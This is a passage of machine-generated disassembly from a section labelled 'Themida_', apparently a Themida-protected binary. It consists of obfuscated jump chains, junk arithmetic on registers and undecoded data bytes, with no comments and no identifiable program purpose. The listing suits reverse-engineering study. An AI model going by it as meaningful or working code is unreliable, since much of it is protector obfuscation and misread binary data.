aIYbimcz1sng	db '‰ËYëmcZ1é­g',0
		db 0
; ---------------------------------------------------------------------------


loc_55872F:				; CODE XREF: Themida_:00557F94j
		pop	eax
		mov	[edi+eax*4], ch
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_55790E
; ---------------------------------------------------------------------------


loc_558741:				; CODE XREF: Themida_:00555F36j
		xchg	esi, [esp]
		jmp	loc_55F26B
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
		dd 2414895Ch, 37A1E951h, 0BD550000h, 2B2D1C06h,	0E95DEE01h
		dd 199Ah, 93D0F793h, 6C16E9h
		db 0
; ---------------------------------------------------------------------------


loc_55876D:				; CODE XREF: Themida_:0055B453j
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55BBD5
; ---------------------------------------------------------------------------
		dd 24048B66h, 81E28952h, 4C2h, 2C28300h, 5C241487h, 6E5FE9h
		db 0
; ---------------------------------------------------------------------------


loc_558791:				; CODE XREF: Themida_:00555532j
		mov	ebp, 5138045Fh
		mov	ebx, 0ADD63B47h
		jmp	loc_55397D
; ---------------------------------------------------------------------------
		dd 0C170EB81h, 0DD015DDDh, 5FFCE9h, 2414F700h, 74BD555Bh
		dd 0F737AA34h, 81DDF7DDh, 0FC7827CDh, 0BC58166h, 0E9B740D7h
		dd 3940h, 59C80158h, 0FFF32EE9h, 4C483FFh, 0D8281804h
		dd 0FFF981E9h, 5DE801FFh, 5C240487h, 0E9028864h, 0FFFFF71Dh
; ---------------------------------------------------------------------------


loc_5587F0:				; CODE XREF: Themida_:0055F231j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55A47E
; ---------------------------------------------------------------------------
		dd 0E95BDF01h, 0FFFFE4FFh
; ---------------------------------------------------------------------------


loc_558804:				; CODE XREF: Themida_:005554C6j
		shr	al, 4
		jmp	loc_55CF92
; ---------------------------------------------------------------------------
		dd 9838EE81h, 0F309B477h, 0F7D3F75Eh, 81D3F7D3h, 880FFECBh
		dd 46D5E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5557A1
; ---------------------------------------------------------------------------


loc_55883A:				; CODE XREF: Themida_:0055B442j
		add	esp, 4
		push	edx
		dec	dword ptr [esp]
		pop	edx
		jmp	loc_55F58E
; ---------------------------------------------------------------------------
		db 1
		dd 0FF535DEBh, 5B042474h, 5C24048Fh, 24048B66h,	1AC868h
		dd 24348900h, 53515E54h, 164E09BBh, 0DB8504Ch, 894C164Eh
		dd 0F3E9C1h, 89500000h,	405E0h,	0E9510000h, 6FF7h
; ---------------------------------------------------------------------------


loc_558884:				; CODE XREF: Themida_:00556346j
		pop	esi
		jmp	loc_55B191
; ---------------------------------------------------------------------------


loc_55888A:				; CODE XREF: Themida_:0055E710j
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 387F2671h
		jmp	loc_558A6F
; ---------------------------------------------------------------------------
byte_55889D	db 66h,	8Bh, 4		; DATA XREF: Themida_:00553360o
		dd 4EC8324h, 54243489h,	8124348Bh, 4C4h, 0D7B85000h, 2D21F019h
		dd 21F019D3h, 5358C601h, 0DF2D37BBh, 0CABF5773h, 8106392Bh
		dd 9E503AF7h, 0F7814F0Eh, 20AF1456h, 0D3DC781h,	8CE94988h
		dd 66000065h, 6621B5B8h, 0CEA8E950h, 6850FFFFh,	14904665h
		dd 373EE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5588FA:				; CODE XREF: Themida_:0055B4F0j
		mov	[esp], ecx
		push	29EE0926h
		pop	ecx
		xor	ecx, 5C540DD0h
		mov	edx, ecx
		jmp	loc_55A454
; ---------------------------------------------------------------------------
		dd 533CEA80h, 0DD88D388h, 24148B5Bh, 0E904C483h, 3EF6h
		dd 2BA52h, 0C6810000h, 6D9363CFh, 0B951D601h, 2BB2100Ch
		dd 4296C981h, 0A2E93BCAh, 68000062h, 5C7Ah, 0E9243C89h
		dd 0FFFFF9C3h, 0E9CECA80h, 631Dh, 55D8E959h, 0BD550000h
		dd 4, 0FFB003E9h, 0A5E958FFh, 68000071h, 5396h,	0BE243489h
		dd 40DB5B55h, 0FFDC7CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558981:				; CODE XREF: Themida_:0055BDECj
		add	ebp, edx
		pop	edx
		jmp	loc_557FCF
; ---------------------------------------------------------------------------
byte_558989	db 0ACh, 30h, 0D8h	; DATA XREF: Themida_:005533BCo
		dd 27F7E9h
		db 0
; ---------------------------------------------------------------------------


loc_558991:				; CODE XREF: Themida_:0055CF94j
		and	al, 91h
		add	al, 0BCh
		or	al, 0D1h
		xor	al, 87h
		jmp	loc_55964B
; ---------------------------------------------------------------------------


loc_55899E:				; CODE XREF: Themida_:005555B6j
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	1
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		push	esp
		jmp	loc_55BC60
; ---------------------------------------------------------------------------
byte_5589C1	db 0ADh, 81h, 0C6h	; DATA XREF: Themida_:00553454o
		dd 70DA160Ch, 0A1DC681h, 0C6014806h, 0A1DEE81h,	0EC834806h
		dd 0DBB1E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5589DE:				; CODE XREF: Themida_:005592C9j
		mov	[esp], esp
		jmp	loc_553E89
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 93240481h,	554C9508h, 5E3C9ABDh, 246C017Eh
		dd 242C8B04h, 5E08950h,	4, 63C5E9h, 58CBA00h, 25E96E2Ah
		dd 68000024h, 32C4h, 0E9243489h, 0FFFFF3E9h, 8104C483h
		dd 0C84E7FF6h, 5EF031ECh, 0EA81C331h, 25125115h, 0E6E9C229h
		dd 100003Ah, 0B752E9DFh, 0BA52FFFFh, 4,	815AD701h, 4ECh
		dd 241C8900h, 0FFE837E9h, 243487FFh, 2404895Ch,	8B2434FFh
		dd 0C6E9241Ch
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558A6F:				; CODE XREF: Themida_:00558898j
		dec	ebx
		add	ebx, 3A8ADA08h
		jmp	loc_55BDDD
; ---------------------------------------------------------------------------
		db 68h
		dd 37E7h, 0BE243489h, 3F3A4300h, 8904EC83h, 66BA2414h
		dd 81375427h, 0C67DE1E2h, 0C281424Bh, 6DE10057h, 72E9D389h
		dd 0BAFFFFD2h, 0BFFFFB7Ah, 0FFD994E9h, 36AABBFFh, 0C14B0EE8h
		dd 0C38104EBh, 18732FB4h, 2D38F381h, 0EB81186Eh, 72F30652h
		dd 7739EB81h, 0DA291DD5h, 3EAC15Bh, 4FCFF281h, 0EC817BC6h
		dd 4, 0B9240C89h, 29B77856h, 0E959CA31h, 0FFFFDB78h, 5AD3315Fh
		dd 6CEBEA81h, 0DA011AE9h, 6CEBC281h, 0E95B1AE9h, 0FFFFAA13h
		dd 8058C530h, 0EF20EEF5h, 592DE9h, 0E9814900h, 65924DBEh
		dd 60CEB850h, 0C13144ACh, 97C18158h, 1A159A8h, 1CE959CDh
		dd 5D00005Bh, 46C5815Ah, 4D1F7942h, 6369E9h, 0D4EF8100h
		dd 817D7052h, 0D62CFAEFh, 8BF80123h, 0C481243Ch, 4, 20EEE9h
		db 0
; ---------------------------------------------------------------------------


loc_558B61:				; CODE XREF: Themida_:0055C678j
		xor	ecx, edi
		jmp	loc_5556EF
; ---------------------------------------------------------------------------
dword_558B68	dd 0E924248Bh, 0FFFFA9AFh, 0AAF18159h, 4156F442h, 27DAC181h
					; DATA XREF: Themida_:005533E8o
		dd 0CF891519h, 0E9F90159h, 829h, 4C481h, 0E9590000h, 0FFFFD747h
		dd 83665366h, 66FF242Ch, 29ABE95Bh, 0EC810000h,	4, 0BB241C89h
		dd 0C57F45B7h, 0FFF44CE9h
		db 0FFh
byte_558BB5	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00553440o
aWhA		db '$Wh/A',0
		dw 8900h
		dd 0BD552424h, 4, 4246C01h, 1059E9h
		db 0
byte_558BD1	db 66h,	8Bh, 4		; DATA XREF: Themida_:005532BCo
		dd 4EC8124h, 89000000h,	0E2892414h, 0FFC909E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558BE5:				; CODE XREF: Themida_:00555DCBj
		push	esi
		jmp	loc_5558CD
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483241Ch, 59E80004h, 510CB050h, 0DDF669B5h, 801FED80h
		dd 0E953D1C5h, 1900h, 0FFA912E9h, 2753B8FFh, 2A255F67h
		dd 550E209h, 0D74B78AFh, 0D6E9D8F7h, 8100002Eh,	4C3h, 46416800h
		dd 0F9E90000h
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558C33:				; CODE XREF: Themida_:0055EA72j
		or	eax, eax
		jz	loc_55408F
		push	602Dh
		mov	[esp], ebx
		jmp	loc_55C723
; ---------------------------------------------------------------------------
		dd 1EBAE95Ah, 0EBF0000h, 4F1A9313h, 3751EF81h, 0AE961D3h
		dd 5C000042h, 4C681h, 0F6680000h, 89000014h, 38E9241Ch
		dd 89FFFFF4h, 0DE8BE9E6h, 8166FFFFh, 5E3699C7h,	66F83166h
		dd 0E9243C8Bh, 4237h
dword_558C8C	dd 582434FFh, 0FFAE3AE9h ; DATA	XREF: Themida_:0055330Co
		db 0FFh
; ---------------------------------------------------------------------------


loc_558C95:				; CODE XREF: Themida_:0055638Bj
		mov	edx, 5739086Dh
		not	edx
		add	edx, 3A7E0502h
		shr	edx, 8
		sub	edx, 0A3073DE0h
		sub	esi, edx
		pop	edx
		pop	edi
		jmp	loc_55C274
; ---------------------------------------------------------------------------
		dd 8104C483h, 4C0EF3F6h, 7CCE8120h, 0E9253473h,	641h
; ---------------------------------------------------------------------------


loc_558CC8:				; CODE XREF: Themida_:0055E03Bj
		push	edi
		push	esi
		mov	esi, 66D65E03h
		push	4D107FD1h
		pop	edi
		jmp	loc_5598F1
; ---------------------------------------------------------------------------


loc_558CDA:				; CODE XREF: Themida_:005595DAj
		sub	ebx, 4
		jmp	loc_55D053
; ---------------------------------------------------------------------------


loc_558CE5:				; CODE XREF: Themida_:00557C65j
		mov	[esp], eax
		push	7DD7510h
		pop	eax
		shr	eax, 5
		and	eax, 64E51EEEh
		dec	eax
		sub	eax, 0D87BB46Bh
		mov	edx, eax
		jmp	loc_557EAA
; ---------------------------------------------------------------------------
		db 81h
		dd 5B15ECEAh, 8AEA8162h, 1523A14h, 8AC281C2h, 53523A14h
		dd 950C04BBh, 0BE5626h,	0E9000000h, 0FFFFD18Ch,	55C8B60Fh
		dd 0C5815D54h, 4, 0FFDA21E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558D39:				; CODE XREF: Themida_:00553B5Cj
		xor	eax, ebx
		xor	ebx, eax
		jmp	loc_557C02
; ---------------------------------------------------------------------------
aNJsy7		db '¾N',27h,'ÙjéY7',0
		align 4
dword_558D4C	dd 240C8B66h, 0B0CAE956h ; DATA	XREF: Themida_:005532CCo
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558D56:				; CODE XREF: Themida_:0055E9DFj
		pop	esi
		sub	eax, edx
		pop	edx
		jmp	loc_55BD7C
; ---------------------------------------------------------------------------
aWsW		db ')ÈWéÖW',0
		db 0
; ---------------------------------------------------------------------------


loc_558D67:				; CODE XREF: Themida_:0055C0C0j
		mov	ebp, eax
		pop	eax
		dec	ebp
		dec	ebp
		jmp	loc_55C219
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 15h
		dd 52515822h, 0AC7DD3BAh, 5AD60151h, 0C103E6C1h, 0DEF707E6h
		dd 0EE81D6F7h, 7767F3FBh, 0FFF42EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558D95:				; CODE XREF: Themida_:00557C31j
		push	ebx
		mov	bh, 9Dh
		sub	bh, 0E4h
		sub	ah, bh
		pop	ebx
		mov	ch, ah
		pop	eax
		jmp	loc_553FCE
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4B377430h, 0B850DA01h, 4B377430h, 1E8CC281h,	0C2295F07h
		dd 0FFD6C9E9h, 38E180FFh, 0E915B450h, 2825h, 8042B050h
		dd 0C7002CC7h, 0FFE15DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558DD9:				; CODE XREF: Themida_:005544B5j
		dec	ebp
		xchg	eax, ebp
		not	eax
		push	ebp
		push	eax
		jmp	loc_554355
; ---------------------------------------------------------------------------
		dd 0E9535954h, 0FFFFC45Bh, 240C8966h, 0FFA72AE9h, 0E9F989FFh
		dd 0FFFFEBF9h
; ---------------------------------------------------------------------------


loc_558DFC:				; CODE XREF: Themida_:00553BF2j
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		add	edx, 4
		push	edx
		jmp	loc_55E118
; ---------------------------------------------------------------------------
dword_558E18	dd 0E932FFh		; DATA XREF: Themida_:00553348o
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558E1F:				; CODE XREF: Themida_:00559D79j
		pop	ebp
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_55FB6A
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 4, 5C241C87h, 89240C89h, 0DB50E9E1h,	1C33FFFFh, 4F3FE924h
		dd 81660000h, 666AE0E1h, 0D79CE981h, 0E9C80166h, 0FFFFB3B8h
; ---------------------------------------------------------------------------


loc_558E58:				; CODE XREF: Themida_:0055A487j
		shr	eax, 6
		push	edi
		mov	edi, 1C150156h
		inc	edi
		inc	edi
		jmp	loc_55B907
; ---------------------------------------------------------------------------
		dd 26F968h, 241C8900h, 0C381E389h, 4, 4EB81h, 1C870000h
		dd 1EE95C24h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558E87:				; CODE XREF: Themida_:005575A7j
		sub	edi, 243AF876h
		add	ecx, 14EB4E92h
		add	ecx, 551A4F5Eh
		add	ecx, edi
		jmp	loc_557B35
; ---------------------------------------------------------------------------
a1Yhc5		db '1ÈYhæ5',0
		align 4
		dd 89241C89h, 458EE9E3h, 1C330000h, 241C3124h, 8B241C33h
		dd 4292424h, 58E99C24h,	56FFFFA6h, 4BEh, 0E9F02900h, 0FFFFD213h
		dd 0E9F5305Ah, 0FFFFC5EFh
dword_558EDC	dd 240C8B66h, 0FFF697E9h ; DATA	XREF: Themida_:005533F8o
		db 0FFh
; ---------------------------------------------------------------------------


loc_558EE5:				; CODE XREF: Themida_:005567E9j
		pop	esp
		jmp	loc_55678C
; ---------------------------------------------------------------------------


loc_558EEB:				; CODE XREF: Themida_:00556409j
		mov	[esp], ebp
		push	5335h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_559246
; ---------------------------------------------------------------------------
		dw 0C828h
		dd 83240C8Bh, 0B2C04C4h, 83B0B353h, 896602ECh, 51662404h
		dd 0CC88EAB1h, 0E3305966h, 75E95866h, 5C000021h, 24042966h
		dd 0A5EDE99Ch, 74FFFFFFh, 34FF0424h, 0C4835924h, 24048F04h
		dd 0CD3665Ch, 0D4E99C24h, 5AFFFFA5h, 1170B951h,	0F18127C6h
		dd 6227B08h, 0E959CB01h, 0FFFFCDBFh, 68CDE95Fh,	0C1810000h
		dd 4, 0E904E983h, 0FFFFAB0Bh
; ---------------------------------------------------------------------------


loc_558F74:				; CODE XREF: Themida_:005577DAj
		and	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_556BC7
; ---------------------------------------------------------------------------


loc_558F81:				; CODE XREF: Themida_:00553AAFj
		mov	edx, esp
		jmp	loc_55B1E9
; ---------------------------------------------------------------------------
dword_558F88	dd 56685055h, 8B598820h, 0C4832404h, 68505104h,	6FA66BEFh
					; DATA XREF: Themida_:005532A0o
		dd 9FB85058h, 50173969h, 6C7CE9h
		db 0
; ---------------------------------------------------------------------------


loc_558FA9:				; CODE XREF: Themida_:0055DCCEj
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_559A39
; ---------------------------------------------------------------------------


loc_558FBC:				; CODE XREF: Themida_:005566FBj
		shl	edx, 1
		push	edx
		push	318Fh
		mov	[esp], ecx
		push	3E25h
		jmp	loc_554706
; ---------------------------------------------------------------------------
byte_558FD1	db 66h,	8Bh, 4		; DATA XREF: Themida_:00553244o
		dd 0FF545624h, 0E95E2434h, 6067h
; ---------------------------------------------------------------------------


loc_558FE0:				; CODE XREF: Themida_:00556BF7j
		xchg	ebp, [esp]
		pop	esp
		or	eax, eax
		jz	loc_55ECA4
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_554D29
; ---------------------------------------------------------------------------
		db 81h
		dd 0FF7DFAEDh, 5DE9012Bh, 4E981h, 0FF510000h, 8B042474h
		dd 0C481240Ch, 4, 5C24048Fh, 51241C89h,	0E9B1B353h, 0FFFFE407h
		dd 0BF575157h, 1A576F78h, 0E781DFF7h, 426F5097h, 7C1CC781h
		dd 0D7F76A0Fh, 4D61E9h,	4C48300h, 8B24048Fh, 24D32424h
		dd 0B5E99C24h, 31FFFFFBh, 3C33243Ch, 0F665C24h,	9C2404BBh
		dd 0FFA4BAE9h
		db 0FFh
byte_559065	db 66h,	8Bh, 4		; DATA XREF: Themida_:005532E0o
		dd 0EC835224h, 48F5404h, 24048124h, 4, 5024148Bh, 405E089h
		dd 83000000h, 48704C0h,	3BCAE924h, 0C05A0000h, 97E906E5h
		dd 81000009h, 4C1h, 4E98100h, 87000000h, 895C240Ch, 4812424h
		dd 424h, 31E95900h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5590B7:				; CODE XREF: Themida_:00553528j
		mov	ch, 0BFh
		push	7252h
		mov	[esp], ebx
		push	edx
		mov	dh, 62h
		mov	bh, dh
		pop	edx
		xor	ch, bh
		pop	ebx
		push	eax
		mov	al, 0FDh
		push	edx
		mov	dh, 0F9h
		push	585Ah
		mov	[esp], eax
		jmp	loc_558264
; ---------------------------------------------------------------------------
aYzsw		db 'YZéW',0Dh,0
		align 4
		dd 489BEE81h, 0C6816FE9h, 5E5C0FA2h, 0E95EF089h, 0FFFFF20Ah
		dd 0FE08E8C0h, 0F58851C8h, 8EE9C688h, 8B00002Eh, 0C4812434h
		dd 4, 0FFDA1EE9h, 0B25259FFh, 0B1F28001h, 0C05AD008h, 753408E0h
		dd 0E958C508h, 0FFFFF390h, 8B24048Fh, 0F662424h, 9C2404B3h
		dd 0FFA3E2E9h, 610168FFh, 815946DBh, 7A00D7C1h,	0BFBFE900h
		dd 2489FFFFh, 0E3D7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559156:				; CODE XREF: Themida_:005578D5j
		push	esi
		mov	esi, 2B8C51B0h
		jmp	loc_55D741
; ---------------------------------------------------------------------------
		db 52h,	0B2h, 6Eh
		dd 0FE05EAC0h, 7EAC0CAh, 6387E9h, 0F5EA8100h, 0E9179700h
		dd 0FFFFB708h, 81242C8Bh, 4C4h,	0A395E900h, 0E95CFFFFh
		dd 4F1Fh
; ---------------------------------------------------------------------------


loc_559190:				; CODE XREF: Themida_:0055CCF0j
		xor	edi, esi
		jmp	loc_55C4FB
; ---------------------------------------------------------------------------
byte_559197	db 0FFh			; DATA XREF: Themida_:00553250o
		dd 0C8B2434h, 5F545724h, 4B951h, 0CF010000h, 81240C8Bh
		dd 4C4h, 4C78300h, 8B243C87h, 0E6E92424h, 8900004Eh, 58E9240Ch
		dd 53FFFFA3h, 375862BBh, 0EB81434Bh, 0F15A0866h, 0FFF866E9h
		dd 66592CFFh, 288DB353h, 595B66D8h, 2D3C6866h, 240C8966h
		dd 30CA68h, 241C8900h, 0CF80BDB7h, 80C7FE37h, 0EFC01EF7h
		dd 1B65208h, 525AF728h,	88F4B050h, 0F72858C6h, 0B551505Ah
		dd 4307E98Eh, 0E95B0000h, 0FFFFA7F6h, 4C381h, 0C3830000h
		dd 241C8704h, 468525Ch,	0E9000000h, 0FFFFE15Bh
; ---------------------------------------------------------------------------


loc_559238:				; CODE XREF: Themida_:0055BE07j
		add	ebx, 4
		add	ebx, 4
		jmp	loc_55F7BD
; ---------------------------------------------------------------------------


loc_559246:				; CODE XREF: Themida_:00558EFDj
		pop	ebp
		push	edx
		mov	edx, 4
		add	ebp, edx
		jmp	loc_55F746
; ---------------------------------------------------------------------------
		dd 8A4A9A2Dh, 5D02951h,	518A4A9Ah, 17DE055Ah, 6DE914EFh
		dd 0BD000016h, 4, 0F42CE952h, 0BF57FFFFh, 4, 875FFA29h
		dd 0E95C2414h, 0FFFFD4A1h, 0C381E389h, 4, 4C381h, 1C870000h
		dd 0DF06E924h, 0EC83FFFFh, 24048904h, 4B8h, 58C50100h
		dd 6802ED83h, 6D42h, 0E9242C89h, 0FFFFC515h
; ---------------------------------------------------------------------------


loc_5592BC:				; CODE XREF: Themida_:005582F1j
		xor	ebp, [esp]
		pop	esp
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_5589DE
; ---------------------------------------------------------------------------


loc_5592CE:				; CODE XREF: Themida_:0055F728j
		add	esi, 4
		add	esi, 4
		jmp	loc_55F4EF
; ---------------------------------------------------------------------------


loc_5592DC:				; CODE XREF: Themida_:0055A743j
		add	[esp+8], edx
		pop	edx
		pop	edi
		push	dword ptr [esp]
		pop	eax
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_556AC3
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 2C895C24h, 2474FF24h, 48F5D04h, 24248B24h, 24148B66h
		dd 0FFCBE2E9h, 98E952FFh, 5BFFFFF7h, 522968h, 242C8900h
		dd 7C11BF57h, 66E92D6Eh, 3100004Bh, 0C33240Ch, 4895C24h
		dd 0E9E08924h, 6680h, 7C9EED81h, 0E8014DB8h, 4E8835Dh
		dd 5C240487h, 55240C89h, 525C3FBDh, 0BB535718h,	2BB56CCFh
		dd 16CFC5BFh, 5BDF292Ch, 3C8BFD31h, 4C48324h, 295DE989h
		dd 2434FFC8h, 4C48359h,	0FFDFDCE9h, 59C800FFh, 0FE58C528h
		dd 13F580C5h, 0E9B8ED80h, 0EFAh
; ---------------------------------------------------------------------------


loc_559388:				; CODE XREF: Themida_:0055D34Dj
		push	1E59h
		mov	[esp], eax
		jmp	loc_55EBB4
; ---------------------------------------------------------------------------
		db 5, 92h, 24h
		dd 8B2D6B88h, 8B580118h, 0F6E9242Ch
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5593A7:				; CODE XREF: Themida_:0055D56Ej
		dec	word ptr [esp]
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4835Fh, 2C181h, 0C330000h,	240C3124h, 8B240C33h, 0F7662424h
		dd 4EC83F9h, 0FFAEF8E9h, 80CEFEFFh, 33E952C6h, 0BAFFFFBCh
		dd 107A18D4h, 0BCE9D001h, 5B00002Fh, 0E828DB2Ch, 57A2E9h
		db 0
; ---------------------------------------------------------------------------


loc_5593F5:				; CODE XREF: Themida_:00557FF2j
		push	6CB6h
		mov	[esp], eax
		push	2495h
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		pop	eax
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		add	eax, 1B455BF8h
		jmp	loc_55E342
; ---------------------------------------------------------------------------
		db 5Fh
		dd 31241C33h, 1C33241Ch, 6779E924h, 0E8010000h,	0A73EE95Dh
		dd 0D701FFFFh, 2C7815Ah, 33000000h, 1CE9243Ch, 0F6000030h
		dd 29B050DDh, 0FFF6A3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559469:				; CODE XREF: Themida_:005548F8j
		add	ebx, edx
		jmp	loc_55D7DE
; ---------------------------------------------------------------------------
aXa		db 'X€ÃÁ',0
aAiPs2		db 'ÀëÁPéµ2',0
		db 0
byte_55947F	db 0ACh			; DATA XREF: Themida_:00553298o
		dd 92E90B04h
		db 0E6h, 2 dup(0FFh)
byte_559487	db 83h			; DATA XREF: Themida_:0055338Co
		dd 148904ECh, 0EC815024h, 4, 0BF243C89h, 27235F8Dh, 107DEF81h
		dd 92E9F534h, 5F00003Fh, 5FF6E9h
		db 0
; ---------------------------------------------------------------------------


loc_5594AD:				; CODE XREF: Themida_:0055ABB4j
		add	edi, eax
		pop	eax
		push	edx
		mov	edx, 542D5347h
		xor	edx, 5FC96800h
		sub	edx, 0BE43B43h
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		push	edi
		jmp	loc_55BCFB
; ---------------------------------------------------------------------------
word_5594D6	dw 8B66h		; DATA XREF: Themida_:005533B4o
		dd 0EC812404h, 4, 89240489h, 0FDBB53E0h, 0E95C4546h, 4122h
; ---------------------------------------------------------------------------


loc_5594F0:				; CODE XREF: Themida_:00557DE2j
		mov	[esp], ecx
		push	eax
		jmp	loc_555F7D
; ---------------------------------------------------------------------------


loc_5594F9:				; CODE XREF: Themida_:00556F8Aj
		pop	ebp
		add	esp, 4
		inc	edi
		push	ebx
		mov	ebx, 5AFB40DAh
		jmp	loc_553EDF
; ---------------------------------------------------------------------------
byte_559509	db 0ACh, 30h, 0D8h	; DATA XREF: Themida_:00553260o
		dd 199BE9h, 5AD10100h, 108AE9h,	7F0E6800h, 4890000h, 0F7BE5624h
		dd 0E956150Eh, 0FFFFD6E6h, 0E9CE8852h, 0FFFFEB98h, 34FFD801h
		dd 0C4835B24h, 46D2E904h, 0D1010000h, 4E9835Ah,	5C240C87h
		dd 53CAE9h
		db 0
; ---------------------------------------------------------------------------


loc_559551:				; CODE XREF: Themida_:0055373Ej
		sub	ebx, 77B81706h
		sub	ebx, eax
		add	ebx, 77B81706h
		push	esi
		jmp	loc_55FBC7
; ---------------------------------------------------------------------------


loc_559565:				; CODE XREF: Themida_:005573FBj
		pop	ecx
		jmp	loc_55CF3C
; ---------------------------------------------------------------------------
		db 80h
		dd 90E904CFh
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559573:				; CODE XREF: Themida_:00557460j
		mov	ecx, [esp]
		push	edx
		jmp	loc_55C30A
; ---------------------------------------------------------------------------
		dd 4245C01h, 0FFC635E9h, 240481FFh, 4, 4C3815Bh, 52000000h
		dd 2BAh, 0F7C38100h, 2921BB79h,	0F7EB81D3h, 0E921BB79h
		dd 0FFFFD4CCh, 1D4BC181h, 0C801B51Dh, 0E16EE959h, 5E54FFFFh
		dd 4C681h, 0C6830000h, 24348704h, 4ED835Ch, 0E9242C33h
		dd 7EDh
; ---------------------------------------------------------------------------


loc_5595D4:				; CODE XREF: Themida_:0055C214j
		add	ebx, 4
		jmp	loc_558CDA
; ---------------------------------------------------------------------------
		db 33h
		dd 248B243Ch, 66F9F624h, 66CCB60Fh, 6634FA68h, 0E9240C89h
		dd 0FFFFA8DBh
; ---------------------------------------------------------------------------


loc_5595F8:				; CODE XREF: Themida_:00557D66j
		pop	ebp
		sub	eax, 682A6C97h
		xor	eax, 31536340h
		neg	eax
		sub	esp, 4
		mov	[esp], ebp
		push	esi
		push	7D4E7291h
		jmp	loc_5565A8
; ---------------------------------------------------------------------------


loc_559619:				; CODE XREF: Themida_:005559ADj
		xor	ebp, eax
		jmp	loc_55A157
; ---------------------------------------------------------------------------
aFxais		db 'fX€ë˜',0
		dw 5BD8h
		dd 0E9505266h, 255h
dword_559630	dd 0E9E18951h, 0FFFFEC87h, 5D5DC281h, 0DA0122A4h, 5D5DEA81h
					; DATA XREF: Themida_:0055326Co
		dd 0F9E922A4h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55964B:				; CODE XREF: Themida_:00558999j
		add	bl, al
		pop	eax
		movzx	eax, al
		jmp	loc_555D3E
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 16CE2B9Dh, 596FE9h
		db 0
; ---------------------------------------------------------------------------


loc_559661:				; CODE XREF: Themida_:0055BF90j
		mov	ebp, esp
		jmp	loc_557445
; ---------------------------------------------------------------------------


loc_559668:				; CODE XREF: Themida_:0055D0ADj
		mov	ecx, 0
		jmp	loc_55E836
; ---------------------------------------------------------------------------


loc_559672:				; CODE XREF: Themida_:005558CFj
		add	esi, 4
		jmp	loc_557FA0
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 0D7h
		dd 81922947h, 6104E0EBh, 4F1DE918h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55968E:				; CODE XREF: Themida_:0055630Dj
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		add	ebp, 4
		jmp	loc_55FBD4
; ---------------------------------------------------------------------------


loc_55969F:				; CODE XREF: Themida_:loc_5569BFj
		xor	[esp], edx
		push	edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 73582E6Bh
		dec	ecx
		sub	ecx, 73652DB7h
		jmp	loc_55722C
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 3CD36624h, 50E99C24h
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5596CF:				; CODE XREF: Themida_:0055FC05j
		sub	ebp, 0A96FA722h
		xor	esi, ebp
		pop	ebp
		push	ebp
		mov	ebp, 3B1F6FB7h
		and	esi, ebp
		pop	ebp
		jmp	loc_55603F
; ---------------------------------------------------------------------------


loc_5596E6:				; CODE XREF: Themida_:0055E77Ej
		push	edi
		mov	edi, 176C04A5h
		xchg	ecx, edi
		not	ecx
		xchg	ecx, edi
